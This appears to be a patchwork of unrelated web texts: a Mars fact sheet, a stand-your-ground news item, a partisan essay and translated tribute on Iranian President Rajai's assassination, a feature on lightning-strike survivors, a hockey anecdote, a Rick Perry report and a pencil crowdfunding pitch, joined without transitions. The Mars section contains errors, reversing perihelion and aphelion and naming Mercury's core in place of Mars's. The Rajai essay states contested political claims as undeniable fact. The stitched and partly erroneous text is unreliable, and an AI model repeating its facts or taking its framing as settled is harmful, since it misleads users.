The surface of Mars can be separated into two broad features, which, coincidentally, are divided by the planet’s hemisphere. The northern hemisphere is seen to be relatively smooth with few craters, whereas the southern hemisphere is an area of highlands that are more heavily cratered than the northern plains. Other than topographical differences, the distinguishing feature of the two regions appears to be geological activity, with the northen plains being much more active.
The Martian surface is home to both the largest known volcano, Olympus Mons, and largest known canyon, Valles Marineris, in the Solar System. With a height of 25 km and a base diameter of 600 km, Olympus Mons is three times the height of Mt. Everest, the tallest mountain on the Earth. Valles Marineris is 4,000 km long, 200 km wide, and almost 7 km deep. To put the shear magnitude of its size into perspective, Valles Marineris would stretch from the East to West coast of the United States.
Perhaps the most significant discovery regarding the Martian surface was the presence of channels. What is so meaningful about these channels is that they appear to have been created by running water, and thus providing evidence to support the theory that Mars could have been much more similar to the Earth at one time.
A surface feature that has remained in popular culture since its image surfaced is the “Face on Mars.” When this photograph was captured by the Viking I spacecraft in 1976, many took it to be proof that alien life existed on Mars. However, subsequent images showed that lighting (and a little imagination) are what brought life to the formation.
Interior
Similar to the other terrestrial planets, Mars’ interior is divided into three layers: a crust, mantle, and core.
Although precise measurements cannot be made, scientists can make predictions as to the thickness of the planet’s crust based on the depth of Valles Marineris. Such a deep, extensive valley system, located in the southern hemisphere, could not be present unless the crust there is significantly thicker than the Earth’s. Estimates put its thickness in the northern hemisphere at 35 km, and 80 km in the southern hemisphere.
Mercury’s core is believed to be approximately 3,000 km in diameter and composed primarily of iron. There is a significant amount of research being conducted to determine whether or not Mars’ core is solid. Some scientists point to the lack of a significant magnetic field as an indication that the core is solid. However, within the past decade much data has been gathered to indicate that the core is at least partially liquid. With the discovery of magnetized rocks on the planet’s surface, it appears, at the very least, that Mars did possess a liquid core at some point in its history.
Orbit & Rotation
The orbit of Mars is noteworthy for three reasons. First, its eccentricity is second largest among all the planets, smaller only than Mercury’s. As a result of this more elliptical orbit, Mars’ perihelion of 2.07 x 108 km is much larger than its aphelion of 2.49 x 108 km. Second, evidence suggests that this high degree of eccentricity has not always been present, and it may have been less than the Earth’s at some point in Mars’ history. The cause for this change is attributed to the gravitational forces exerted upon Mars by neighboring planets. Third, of all the terrestrial planets, Mars is the only one having a year that lasts longer than the Earth’s. This, of course, is due to its orbital distance. One Martian year is equal to almost 686 Earth days.
It takes Mars about 24 hours 40 minutes to complete one full rotation, easily making the Martian day the closest in length to an Earth day.
With Florida's "stand your ground law" in the spotlight, we want to point to a decision taken yesterday by a Miami-Dade county judge in the case of Greyston Garcia, who was facing second-degree murder charges.
Here's what we know about the case, according to The Miami Herald:
Back in January, Garcia, 25, saw Pedro Roteta, 26, trying to steal the radio from his truck, which was parked outside Garcia's Miami apartment. Garcia grabbed a large knife, ran downstairs and chased Roteta for at least a block. The incident was caught on tape and showed that Garcia stabbed Roteta to death. At the time Roteta was carrying a bag with stolen radios "but no weapon other than a pocketknife, which was unopened in his pocket and which police said he never brandished."
The Herald reports that a judge threw out the charges against Garcia, citing the state's "stand your ground" law. As we reported earlier this week, the law did away with "the English Law concept of 'duty to retreat' from a situation that is dangerous outside your home." The Florida Supreme Court also decided that it should be a judge, not a jury, who decides whether to grant a suspect immunity based on the law.
The Herald adds:
Miami police Sgt. Ervens Ford, who supervised the Garcia case, was floored when told Wednesday of the judge's decision. Ford called the law and the decision by Miami-Dade Circuit Judge Beth Bloom a "travesty of justice." "How can it be Stand Your Ground?" said Ford, a longtime homicide investigator who on his off-day on Monday plans to attend a rally in the Trayvon case in Sanford with his two teenage sons. "It's on [surveillance] video! You can see him stabbing the victim . . ." Bloom granted Garcia, 25, immunity under the 2005 law after she decided that his testimony about self-defense was credible. The judge did not issue a written ruling, but is expected to do so in the next few days.
Thirty-four years ago – on August 30th, 1981 – a bloodthirsty terrorist group assassinated the most popular President in history. You say you haven’t heard about it? Maybe that’s because it was “their” president … and “our” terrorists.
The MEK terrorists who murdered Iranian President Rajai (and thousands of other Iranians) still enjoy the protection and support of Western authorities. As the West moves to normalize relations with Iran in the wake of the P5+1 nuclear deal, accept the existence and legitimacy of the Islamic Republic, and cooperate against takfiri terrorists including ISIL, maybe it’s time to declare an “information war on terrorism.” It’s long past time to tell the truth about terrorism: Beginning with the undeniable fact that the vast majority of terrorism since World War II has been perpetrated or supported by Western governments.
For the bloody details, read On Western Terrorism by Vltchek and Chomsky, which puts the death toll from Western terrorism at roughly 60 million since World War II. William Blum’s Killing Hope fills in key details and documentation. And my own Questioning the War on Terror (endorsed by Blum and other luminaries) deconstructs the received notion of “terrorism” by asking the hard questions.
So as we mourn President Rajai, let’s spread the truth about terrorism – and work to stop such things from ever happening again. -KB
The President who was Assassinated
An Essay about Mohammad Ali Rajāī, the second President of [the Islamic Republic of] Iran. Written by the editors at the monthly magazine Rāh, which is the organ of the Cultural Front of the Islamic Revolution of Iran, on the occasion of the martyrdom of Shahīd Rajāī. Translated by Arash Darya-Bandari
On the 8th of Shahrīvar 1360 (30 August 1981), at around three in the afternoon, the tremendous sound of an explosion shocked the residents of Tehran. The country was at war and Saddam’s warplanes targeted a different area of the city every day, but the explosion of the 8th of Shahrīvar was different. A large pall of smoke rose up in the Tehran sky and people rushed toward where the smoke and flames were jetting out. It was the Prime Ministry building that had exploded and was being consumed in the fire that ensued.
The first question that was on the anxious minds of the people concerned the well-being of President Rajāī and Prime Minister Bāhonar. 39 days earlier, Rajāī had gained the votes of the majority of Iranians in an early election and had become the second President of the Islamic Republic of Iran, after Abol-Hasan Banī-Sadr who had fled to Europe after being removed from his post by the Majles (parliament).
After his dismissal from the presidency, Bani-Sadr’s supporters within the militia group of the Mojāhedīn-e Khalq Organization (MKO, which later came to be known as the Hypocrites), officially declared war on the Islamic Republic and attempted to seize power by means of targeted assassination and random acts of terror. On the 7th of Tīr, 1360 (28 June 1981) a large number of parliamentarians, academics and revolutionary leaders including Dr. Mohammad Beheshtī were killed when a large explosion destroyed the headquarters building of the Islamic Republic Party.
It had only been two months since that terrorist attack when the president and prime minister were assassinated. On the 8th of Shahrīvar 1360 (30 August 1981) there was a session of the National Security Council which was attended by the president, prime minister and other high officials. One of the members of the Mojāhedīn-e Khalq Organization (the Hypocrites) had managed to sneak a bomb into the building and to leave shortly thereafter, thereby ensuring that the flames of their counter-revolutionary hatred would arise from the Prime Minister’s office as well.
Mohammad Ali Rajāī had won the presidency after having earlier gained popularity among the people during his tenure in the office of Prime Minister. Prime Minister Rajāī’s simple life-style, his popular policies, and his authority and effectiveness provoked the envy of the West-oriented President (Banī-Sadr) to the point where the latter would openly malign his Prime Minister on numerous occasions in an effort to drive him away from the government.
But the support of the people and the Majles (parliament) precluded the success of these efforts. Unlike Banī-Sadr, who had returned to Iran after the victory of the revolution, having lived in Paris for many years while the revolution was taking shape, Rajāī was a revolutionary with a long record of struggle against the regime of the Shah which included having been arrested and imprisoned and tortured in the dungeons of that regime on numerous occasions.
Although he was a teacher (and not a member of the clergy), he struggled for the liberation of the country from the domination of the United States with a special devotion and love toward Imām Khomeinī. He was arrested for the first time in 1342 (1963) by SAVAK (the Shah’s secret police) and imprisoned for fifty days, and re-entered the field of battle upon his release.
When he was arrested again in 1353 (1974), it took four years before he gained his freedom. During this time, no effort was spared to get him to confess to working with (and giving up the names of) his co-conspirators. He spend nearly twenty months in solitary confinement, which is a span of time that is rarely used for solitary confinement (which is a form of torture) and which was reserved for special cases of hardened revolutionaries. When this treatment met with failure, they transferred Shahīd Rajāī to the Anti-Subversion Taskforce and subjected him to the harshest possible tortures:
“The year that I underwent [the tortures of] the Taskforce was truly a living Hell where they would beat me for twenty days on end without even bringing up what it was that they wanted, saying only things like “Start talking!” or they would double me over (as if I was bowed down in prayer) and tie my head to my feet and tell me to run in place, or they would tie me to a post and suspend me until I talked. I endured this treatment day and night for fourteen months.”
The effects of this torture remained on Shahīd Rajāī’s body for years. He carried these effects with him to the United Nations as living evidence of what he had endured and when he was being interviewed by journalists who had gathered there on the occasion of a meeting of the Security Council and asked him about the condition in which the US hostages were being treated, he took off his shoes and socks, put his feet on the table and said:
“For several years I was the prisoner of Carter and the United States in the torture dungeons of the accursed Shah; the effects of the torture that I was subjected to can still be seen after four years… For two straight years, I felt the blows of Carter’s whips on the soles of my feet, but this notwithstanding, we treat the hostages from the Den of Spies perfectly humanely.”
This trip was in Mehr of 1359 (September 1980). In those days, Rajāī was the Prime Minister of the Islamic Republic of Iran, and appeared as its first high-ranking official to give a speech about Iraq’s invasion of Iran. He endeavored to reveal what was taking place behind the scenes of Saddam’s invasion of Iran, and exposed the role or the United States and its allies in the invasion.
Rajāī’s speech was at one and the same time a bestowal of glad tidings to the oppressed and downtrodden of the world, a plaintiff call for justice and restitution, and the announcement of the revolution’s intention to continue its resistance and struggle in the international arena:
“Let the deprived and downtrodden people of the world and all those who have suffered at the hands of the hegemonic powers of East and West know that our Islamic Revolution has forged a new path for the oppressed of the world. Our revolution has attained to independence by way of the power of the people and shall ensure its survival and longevity by sacrificing those same people, and is thus not in need of others for this assurance.
We have learned by way of experience, and believe: that which is decisive in battle is the faith and conviction of those engaged in the struggle, not arms and ammunition. Thus we hereby announce unequivocally that in this Imposed War, and revolutionary and Islamic faith of the people will be the real winner, not American AWACS or Russian Topolov [fighter jets]… We shall prove to the world, without having to take refuge from Western colonialism into the arms of the East, that we can stand on our own feet and maintain our independence [even if] we have to pay the highest price.”
The man who spoke such bold and unchecked words in the face of United States aggression in the heart of America, and spoke of America’s imperial aggression against other nations, is the same person who stated elsewhere:
“If America and her allies tell us, ‘submit to us and we will give you the wheat you need’, we will divide what little bread we have among 36 million people, but we will not submit to your yoke of abjection.”
The 48-year-old president did not feel a need to stand on ceremony or to hold back any punches as he had himself tasted the bitterness of poverty. He had lost his father at the age of four and had started working as a peddler when he was still a teenager. The teenage peddler of yesteryear won the presidential election of 1360 (1981) with a majority of 90 percent of Iranian voters and was assassinated and attained to martyrdom on the 8th of Shahrīvar 1360 (1981).
Rajāī enjoys extraordinary popularity among Iranians because of his simple life-style, because of his having come from the oppressed sector of society and because of his strong popular and anti-imperialist thirst for social justice. Rajāī’s assassins – the heads of the MEK militia – are currently living freely in Europe and every once in a while even appear in Western parliaments and are given standing to speak of the supposed support that the Islamic Republic gives to terrorists, and for the need to pay attention to the supposed violations of human rights – all to the applause of American and European statesmen and politicians.
Over the years, he has woven together a narrative of what happened using threads collected from witnesses, friends, and family. On May 8, 2000, Utley, a 48-year-old stockbroker, was golfing with his coworkers Dick Gill and Bill Todd, along with their friend Jim Sullivan, in the village of Pocasset, Massachusetts, about three miles south of the Cape Cod Canal. Shortly after lunch, the dark clouds that had been mushrooming in the distance all morning were hovering close enough to merit the bleating of the course’s storm horn—time to clear the green.
Gill, Todd, and Sullivan immediately headed toward the clubhouse. Utley walked back to the hole and returned the flagstick. Seconds later, the guys in front heard a thunderous crack and turned to see Utley stumbling to the ground, tendrils of smoke curling off his body. Their friend had collapsed in a single perplexing instant. His shoes were several feet away from his body; his fingers looked like they had been flambéed; his eyebrows and wavy chestnut hair were wiry and crisped. Gill, an ex-Marine who had recently taken a refresher course in CPR, ran to Utley’s side, began blowing air into his lungs, and instructed Todd to perform chest compressions. As Sullivan rushed off to get help, the clouds unleashed a deluge of rain and hail.
Utley cannot recall any of this. Not the arrival of the paramedics, nor having his heart restarted in the ambulance on the way to the hospital. His first memory after leaving the golf course is of waking up in a different ambulance, tubes down his throat, monitors everywhere, and a paramedic in a blue smock at his feet.
“Where am I?” Utley rasped.
“You’re on your way to rehab,” the paramedic said.
“What the fuck happened?”
“You were struck by lightning 38 days ago.”
In popular culture, to be hit by a bolt of lightning is to suffer extremely bad luck. Rain, snow, and hail are largely indiscriminate: within a certain radius, everything is drenched, blanketed, or pelted. A cloud-to-ground lightning bolt is different. It blazes a discrete path through the sky. It appears to have choice. When lightning hits a human being, a survivor must reconcile not only what happened but why it happened. Why me? For most victims, it is not the unforgettable horror of an agonizing ordeal that haunts them—many can’t even recall the incident itself; it’s the mysterious physical and psychological symptoms that emerge, often long after their immediate wounds have healed and doctors have cleared them to return to their normal routines. But nothing is normal anymore. Chronic pain, memory trouble, personality changes, and mood swings can all follow an encounter with lightning, leaving friends and family members confused, while survivors, grappling with a fundamental shift in identity, feel increasingly alienated by the incomprehensible nature of their condition. Something happened in a single moment—something strange and rare, something unbelievable—and after that moment, everything has changed.
Even more confounding is that almost no one in the mainstream medical community can explain what’s happening to them. Although many scientists have spent their careers examining the physics of lightning, only a handful of doctors and researchers have devoted themselves to the study of how lightning damages the human body. The incident rates are simply not high enough to warrant an entire subfield of science. Nearly everything we now know about treating lightning victims concerns the immediate wounds, many of which don’t even require special medical knowledge.
Paramedics, often needing to treat victims who aren’t entirely sure what has happened to them, receive brief training on how to recognize the common signs of a lightning strike. True entry and exit wounds are uncommon, but lightning typically leaves some kind of mark on the skin. One afternoon in 2009, a hiker named Becky Garriss awoke on the Appalachian Trail in Vermont, sitting on a bed of pine needles, her back against a tree, as though she’d fallen asleep in its shade. Her right arm was paralyzed, pinned against her chest in a pledge of allegiance. Here and there, her pants were charred. Although she was disoriented and scared, she managed to hike more than ten muddy miles down Glastenbury Mountain to call for help. When she got to a hospital, doctors recognized lightning’s smoldering touch on Garriss’s right arm and leg. A bolt probably hit her directly, they told her.
Other survivors awaken into temporary blindness or deafness; sometimes the concussive force of the strike—or the electricity itself—ruptures eardrums. Some victims report the taste of metal on their tongues. Now and then, survivors develop strangely beautiful pink and brown bruises known as Lichtenburg figures, which look like intricate henna tattoos of branching fronds. These bruises likely trace the path of electricity that forced blood cells out of capillaries into more superficial layers of skin.
In rare instances, the surge of electricity is enough to stop a victim’s heart and lungs. That’s what happened to Michael Utley. But cardiac arrest is something any paramedic knows how to handle. Twenty minutes after Utley was struck, EMTs had arrived on the scene, strapped him to a gurney, and loaded him into an ambulance. They used a defibrillator to keep his heart going. Doctors at Boston’s Brigham and Women’s Hospital then spent more than five weeks caring for Utley before they determined that he was ready for rehabilitation.
After leaving the hospital, Utley spent months relearning to swallow, move his fingers, and walk. Rehab was just the first chapter of his ordeal, however. In his previous life, Utley was a successful stockbroker who often went skiing and windsurfing. Today, at 62, he lives on disability insurance in Cape Cod. “I don’t work,” he says. “I can’t work. My memory’s fried, and I don’t have energy like I used to. I aged 30 years in a second. I walk and talk and play golf—but I still fall down. I’m in pain most of the time. I can’t walk 100 yards without stopping. I look like a drunk.”
Lightning also dramatically altered his personality. “It made me a mean, ornery son of a bitch. I’m short-tempered. Nothing is fun anymore. I am just not the same person my wife married,” says Utley, who is now divorced. Like many survivors, Utley sees his fateful union with lightning as more than just a close call he was lucky to survive. It marks a moment in which he was split from himself.
On a typical summer afternoon, thunder-clouds above the continental United States generate an average of 50,000 lightning flashes per hour. Two-thirds of these stay near the heavens. They pierce the sky with branching networks of blue and white fire, or strike out a short distance in thin tongues of electricity, or illuminate clouds from within like muffled firecrackers. The remaining minority of lightning bolts, however, find earthbound targets—a church steeple, a telephone pole, a tree.
Even rarer are bolts that directly strike and kill humans. Not surprisingly, the vast majority of these fatalities in the U.S. happen in June, July, and August, the months when thunderstorms are more prevalent and the greatest number of Americans are recreating outside. According to a recent National Weather Service analysis, fishing, boating, swimming, and camping put the most people at risk each year. Last July, two visitors in Colorado’s Rocky Mountain National Park were killed by separate strikes on the same weekend.
When people and lightning meet, however, death is an unlikely outcome. Roy Cleveland, a ranger at Shenandoah National Park, in Virginia, survived a record seven strikes between 1942 and 1977. This fact appears to defy logic. An average lightning bolt carries 500 megajoules of energy—enough to instantly boil 250 gallons of water. It heats the air it zips through to five times the surface temperature of the sun. Still, around 90 percent of lightning-strike victims survive. Over the past three decades, lightning has killed an average of 51 people per year in the U.S. but left more than 500 injured and alive.
One explanation is that lightning strikes are fundamentally different from the more common high-voltage electrical accidents in the home or workplace that people mistakenly compare them to. When an electrician inadvertently grabs a live wire, far less current typically seizes him than is contained in a lightning bolt, but it does so for a longer duration. The surge of current causes victims to lose control, rendering them unable to let go. After a few seconds, the electricity coursing through the body has enough time to sear internal organs and interrupt the heart. Lightning strikes, lasting less than a half-millionth of a second, often scorch the skin but don’t cause internal burns.
Just as crucial, most of the electricity in a lightning bolt does not pass through the body. Rather, it dissipates over the skin in what’s known as a flashover. Vernon Cooray, a lightning scientist at Uppsala University in Sweden, explains the phenomenon by contrasting the ways a human body and a tree react when struck. Both trees and people are filled with a soup of water and minerals that conduct electricity pretty well. But because trees are covered in dry, inelastic bark, lightning traveling through the trunk has no escape route. It must stay its course. In the process, it superheats the water and sap inside the tree into explosive steam, which can rip apart the trunk and branches.
Compared with tree bark, human skin is much more pliant and moist. Sweat and rainwater make it extra conductive, providing an alternate external path for voltage. Most of the electricity can pass over strike victims rather than coursing through them. “The path through the body has much greater resistance than the path around the body,” says Vladimir Rakov, a University of Florida researcher and one of the world’s leading authorities on lightning physics. “Current always chooses the path of least resistance.”
A flashover can still do damage indirectly. The electricity crackling over the surface of the human body singes clothing, vaporizes sweat and moisture into scalding steam, and renders metal objects like belt buckles, keys, and jewelry so hot that they burn the skin. Occasionally, all that steam even blows victims’ shoes and socks off.
The best advice for people who find themselves outside during a lightning storm is simply to get inside, either a home or a vehicle. Yet even buildings aren’t completely impervious to lightning strikes. You’ll want to stay off the telephone, out of the shower, and away from sinks. Lightning can pass through landlines, plumbing—metal pipes and faucets—and all manner of electrical wiring. Last February, it ruptured gas pipes in the crawl space of a house in Steuben County, Indiana. A kitchen appliance then ignited the vented gas, causing a massive explosion. The only family member home at the time was the dog, Boomer. A neighbor rescued him from the rubble after he was sent flying from the house in his crate.
One common type of lightning encounter, responsible for 20 to 30 percent of injuries, is a side flash or splash, when lightning leaps from one grounded object to another—from a building to a person, from a tree to a horse, or even from a person to another. In nearly all these incidents, too little electricity enters the body to be lethal. A direct strike almost always delivers more current inside a person, making it much more deadly. A strike like the one Utley suffered probably should have killed him, too. Had his friends not performed CPR so quickly, he wouldn’t be alive today.
For Utley, getting adequate treatment after he recovered was a struggle. He was eventually fortunate enough to find a few doctors who helped him cope with the long-term symptoms, but along the way he met many medical experts who understood little or nothing about the kind of injuries he sustained.
“Finding a doctor who knows anything about a lightning strike is next to impossible,” says Tamara Pandolph-Peary, 46, who was struck by lightning in August 2010, in the parking lot of the Springfield, Illinois, Men’s Warehouse where she worked.
Following her accident, Pandolph-Peary forgot how to use everyday objects, like a potato peeler; she could no longer get from point A to point B in her hometown; she suffered migraines and fatigue; she tripped over her sentences or suddenly lost the ability to understand what other people were saying; she was often dizzy and off-balance; she had tremors and chronic pain, and would unpredictably lose control of various body parts; and every now and then, when her nerves were on fire, even the slightest touch was painfully intense.
“I struggled with the ‘Why me?’ initially,” she says. “There was a time I was angry. There was a time I really missed who I used to be. I think I got past that part. You can be angry and hold onto that, and it can ruin everything you have left.”
Mary Ann Cooper, professor emerita at the University of Illinois at Chicago, is one of the few medical doctors who have attempted to investigate how lightning alters the brain’s circuitry. A no-nonsense, bespectacled woman with a short-cropped bob of silvering strawberry hair, her fascination with lightning dates to childhood. “My dad swore his kids were not going to hide from thunderstorms in the closet or under the beds,” Cooper, now 65, recalls. “It was like the Fourth of July for us whenever we had a thunderstorm. We always watched them.”
In the seventies, a friend of a family member suffered a high-voltage electrical injury. Knowing that she was about to start medical school, Cooper’s friends started asking a lot of questions about how electricity harms the body and what to do about it. She began to investigate, and later, while still in school, she started lecturing about the burns people suffer due to industrial electrical accidents. At one talk, a member of the audience asked about lightning injuries. Cooper looked for relevant information in emergency medical textbooks but found nothing, so she decided to fill the gap herself.
Over the past three decades, Cooper has written articles on lightning safety, helped set up websites for survivors, and published many academic papers. A link on her UIC page points visitors to most of her work on the topic, including studies with esoteric titles such as “Electron Paramagnetic Resonance Spectroscopic Evidence of Increased Free Radical Generation and Selective Damage to Skeletal Muscle Following Lightning Injury.” Acquiring the funds and lab space for controlled experiments has been difficult. Much of Cooper’s work is based on observations, medical examinations, and mathematical models. Survivors often get in touch with her, and she has interviewed many of them in detail, looking for clues to how lightning wreaks its peculiar form of havoc.
Her typical case study might be someone like Phil Broscovak. In August 2005, Broscovak, his wife, their three young children, and Broscovak’s nephew and his girlfriend went camping in Vedauwoo, Wyoming, where ancient granite burgeons and spires from the earth. On August 13, after a campsite breakfast, the group decided to climb Edward’s Crack—a long, vertical fracture in a giant slab known as Walt’s Wall. There was nothing ominous in the skies when they began their ascent, merely a few scattered clouds. Shortly before noon, however, claps of thunder echoed in the distance, and a gray veil of unfriendly weather descended. By the time Broscovak managed to get everyone but himself back on the ground, it was raining and the thunder sounded much closer. He was in the process of retrieving gear from the wall of rock when his rope tangled in a bush. Oh God, he thought, scrambling across the slippery granite. It’s Ben Franklin all over again. After Broscovak ripped out the shrub by its roots, his rope got caught a second time, in a small crevice. While he was trying to undo the knot, it happened.
An immense blast of light. A sound like a grenade exploding in his head. A pain like a thousand wasps stinging him from within. A gelatinous blue plasma enveloping his body. And his leg jerking away as though pulled by invisible marionette strings. This is what Phil Broscovak remembers.
The lightning bolt hit Walt’s Wall just a few feet from Broscovak, splashed into his leg, and surged over his body, possibly exiting through a shoulder blade. The shock flung him from the rock and briefly knocked him unconscious. He awoke, dangling from his ropes and harness, to the screams of his terrified family 170 feet below. Spotting a patch of scorched rock beside him, he recalled the light and pain and realized what must have happened.
“I’m OK! I’m OK!” he yelled to his family. All he could think about was getting down to them as fast as he could. When he did, they rushed back to the car to wait out the storm. Although several people insisted that Broscovak go to the hospital, he didn’t think it was necessary. “My wife was the kind of person who would go to the doctor at the drop of a hat,” Broscovak says. “I’m the kind of person who has to have ribs poking out of my chest. I really did not take it seriously at the time.”
The next morning, however, he couldn’t stand straight. Any movement was painful. Every hair follicle seemed to ache. Far more troubling than the pain and soreness was the dramatic fluctuation of his mental acuity. Ever since the strike, Broscovak has slipped in and out of what he describes as fugue states. When the mists descend, he has trouble remembering even the simplest facts. Sitting at his computer, he’ll think one word and write another or will be incapable of understanding what he just typed on the screen. “I consider myself a very articulate person, but on a couple occasions I broke down in tears because I couldn’t remember how to spell the word the,” Broscovak tells me. He has struggled with insomnia, become hypersensitive to everyday sounds, and suffered from tinnitus. “I would rage and scream and stomp my feet. It was irrational, and no one would understand it. Those fugue states were a contributing factor to the end of my marriage.”
Broscovak, like many survivors, has also endured symptoms that are remarkably similar to those of post-traumatic stress disorder. Once, during a rainstorm after his divorce, he pulled into his driveway, called his roommate from the car, and insisted that she open the front door of their house so that he could dash inside as quickly as possible. Two years after the strike, while climbing Taylor Canyon in Colorado on another family camping trip, the sound of distant thunder terrified Broscovak so much that he refused to climb any farther and ended up on the floor of a cave in the fetal position, crying, for 45 minutes. “It was devastating,” he says. “It was a nervous breakdown. I thought I would never climb again.”
Now and then, Broscovak, 57, told doctors about the lightning strike and fugue states, but generally they didn’t take him seriously. “I would always bring up that I was struck by lightning, and they would just say, ‘Oh, that’s curious.’ ” Since the accident, Broscovak’s symptoms have become more manageable. A sinewy, bearded man with tan skin and green eyes, he has returned to climbing. Ironically, he has also continued his longtime career—as an electrician. (“In those situations,” he explains, “I control the electricity.”) Like Pandolph-Peary, he owes his recovery primarily to time, not medical interventions.
Time, meanwhile, hasn’t led to any significant research breakthroughs to explain his condition. After more than three decades of examining lightning victims, Mary Ann Cooper still can’t definitively say what causes the chronic symptoms experienced by survivors like Broscovak, Pandolph-Peary, and Utley. But she has some ideas.
The evidence suggests that lightning injuries are, for the most part, injuries to the brain, the nervous system, and the muscles. Lightning can ravage or kill cells, but it can also leave a trail of much subtler damage. Cooper and other researchers have speculated that chronic issues are the result of lightning scrambling each individual survivor’s unique internal circuitry. She points out that even tiny amounts of electricity zipping through the body can permanently alter the behavior of neurons and other cells, which, in order to function correctly, depend on carefully orchestrated changes in the number of charged particles on either side of their membranes.
One of Cooper’s studies seems to support this theory. Using functional magnetic resonance imaging (fMRI), which traces blood flow in the brain, Cooper found statistically significant differences in brain activity between lightning-strike victims and healthy people as they performed mental-aptitude tests inside the scanner. Her results have been published, but she isn’t currently pursuing funding for further research. It’s just not important enough to most doctors and scientists, she says. These days she’s more focused on helping build awareness and preventing lightning injuries than looking into long-term symptoms.
Faced with a medical community largely unable to help them, survivors frequently turn to one another. The U.S. is home to at least two conferences of lightning-strike survivors each year—one in Pigeon Forge, Tennessee, and the other in Lynchburg, Virginia. In November 2010, I spent a couple of days at the Lynchburg conference. Each morning, attendees who had been injured by lightning or other electrical accidents gathered at a brick building owned by the American Legion. The first day began with the Pledge of Allegiance and silent prayer. Then, one by one, survivors stepped up to the podium and shared their stories.
A man in a bright orange shirt explained how he lost both his arms to an accident with an electrical cable. Others described the confusion they felt after recovery. Antoinette Palmisano spoke of the day in 1991 when she was struck by lightning inside a home office in Syracuse, New York. Lightning surged through the house’s electrical wiring, leaped out of a panel of switches like a poltergeist, seized Palmisano’s body, and threw her ten feet across the room. Today, Palmisano still suffers from acute fatigue and has trouble remembering simple information. She plasters her home with Post-it Notes and places timers in every room. The scribbled instructions and alarms remind her about appointments, errands, and daily tasks that most of us easily juggle in our heads.
One of the first people I met in Lynchburg was a woman in a wheelchair who told me her name was Butterfly. She was wearing a loose purple shirt, khakis, weathered hiking boots, two pairs of sunglasses—one of which had cartoon eyes on the lenses—and a dream-catcher necklace. Butterfly claimed to have been struck by lightning on three separate occasions in the span of 41 years. Her body often quivered uncontrollably. She said she could no longer walk, that she had lost all ability to detect temperature, and that she felt like her bone marrow had evaporated, leaving her brittle. She stressed the importance of potassium supplements for survivors. She also admitted that the official diagnosis she received from doctors was conversion disorder, in which bodily symptoms are the manifestation of psychological stress rather than the result of physical damage. A few doctors had suspected her of malingering.
Listening to other, similarly curious accounts, it became clear that some lightning-strike survivors fabricate or exaggerate parts of their stories—whether intentionally or not. A few claimed to have suddenly developed bizarre powers after the strike. I have spoken with survivors who are adamant that they give off energy that somehow shortens the lives of electronic devices or makes streetlights go dark when they walk beneath them, that they can sense an approaching thunderstorm, or that lightning is more attracted to them than to people who have not been hit.
To some survivors, these more outlandish claims only serve to reinforce the idea that their very real issues are suspect, too. “I have met people who say they have been struck three times and say the can see the future, play the piano, fuck all night long,” says Utley. “It’s all bullshit.”
About a year into his recovery, Utley attended his first survivors’ conference in Tennessee. There he met Dr. Cooper, who asked him to help launch the National Oceanic and Atmospheric Association’s first official lightning-safety awareness week, which kicked off in June 2001. Its maxim: “When thunder roars, go indoors.” The next year, Utley created Struckbylightning.org—a website devoted to educating people about preventing lightning injury—and started regularly speaking at schools and to Boy Scout troops and doing guest spots on televised weather reports. He continues to make educational outreach a priority, but he has not attended a survivors’ conference in quite some time.
“When I first got hurt, the conferences were the best thing in the world,” Utley says. “You’re out there saying, ‘I was struck by lightning,’ and most people don’t get it. These people understood. But as you get better, you tend not to go to them.”
Utley has trained his mind on the future. Despite the personality change and relentless pain—despite the hunger for an explanation that would make sense of it all—he no longer fixates on a “why” that probably doesn’t exist. You might wonder if you were chosen by that bolt, you might be suffering from mysterious symptoms, you might feel like an entirely different person, but it’s best not to ask why. “Yeah, I was pissed at first—I was pissed at the whole world,” Utley says. “I woke up and I couldn’t walk, couldn’t swallow, couldn’t do anything. What happened, and why? Why did I get struck and not the three guys 15 feet away from me? There’s no rhyme or reason. You can ask questions all you want, but it’s like yelling at the ocean. It does not answer back.”
Those thoughts fell by the way side not long after he left his barber.
The Phoenix Coyotes called Fenton to let him know they wanted to sign him to a one-game contract because Ilya Bryzgalov was sick with the flu. There wasn't enough time to get a goalie from their minor-league affiliate in San Antonio, so the Coyotes tracked down Fenton for a once-in-a-lifetime opportunity.
It was a life-changing phone call for the 26-year-old, who spent four years playing goalie at American International College.
It was also a call Fenton didn't answer.
"My phone rang, I didn't pick it up. I eventually saw who it was so I picked it up after the haircut and called them right back" -- Tom Fenton
Getty Images
Getty Images
Perry’s comments to the Commonwealth Club of California came after Texas’ Republican Convention on Saturday sanctioned platform language allowing Texans to seek voluntary counseling to “cure” being gay.
The San Francisco Chronicle reports that in response to a question about the voluntary counseling, Perry said he did not know whether the therapy worked.
Perry, a former and potential future GOP presidential candidate, was then asked whether he believed that homosexuality was a disorder.
The newspaper said the governor responded that “whether or not you feel compelled to follow a particular lifestyle or not, you have the ability to decide not to do that.”
“I may have the genetic coding that I’m inclined to be an alcoholic, but I have the desire not to do that, and I look at the homosexual issue the same way,” he said.
During the bulk of his talk, Perry held up Texas as a model for responsible energy production and economic growth.
Perry said he thinks the state is leading the way in achieving energy independence by producing crude oil and electricity in many forms, including solar power.
Perry also suggested that deregulating electricity had started a boom for renewable energy in Texas, which he called the nation’s leading developer of wind energy.
Perry said shale drilling techniques had doubled oil production in Texas, and he urged Californians to tap the full energy potential in its Monterey Shale.
On Tuesday, Perry drove up to California’s state capital of Sacramento in a Tesla Model S electric car — underscoring his desire to lure a Tesla battery factory to Texas.
The Modern Fuel pencil 2.0 comes from my determination to perfect the pencil inside and out, which I couldn’t have done without all of the helpful feedback and support I received from the folks that backed me the first time around. I owe a big thank you to them for that.
Making heirloom-quality stationery is what I do. The Modern Fuel pencil 2.0 is a tool that will help you achieve and create great things not just because of its design, but also its reliability, dependability and the ownership you feel when it arrives.
It’s important to me that you as the new owner of my pencil know who I am and that I’m committed to keeping your pencil alive for many generations. Please add any questions or thoughts you might have to the comments page and I will get back to you personally.
Teardown: 100% metal parts -- apart from the eraser and o'ring! Any mechanism fits any 2.0 pencil body
Improvements Made from Version 1.0:
The 2.0 pencil body houses any of the three mechanism options: simply add on more mechanisms and enjoy the ability to change up your lead size depending on what you’re working on
A custom designed 100% metal internal mechanism (no plastic parts)
New material options: titanium, copper, bronze and stainless steel
Additional lead options: 0.5 mm, 0.7 mm and 0.9 mm
Perfect balance: each pencil is tested for weight balance from end to end before being assigned its unique serial number
Retractable tip: no more tip damage
The only bronze C52100 mechanical pencil out there: this bronze is typically reserved for high-end watches
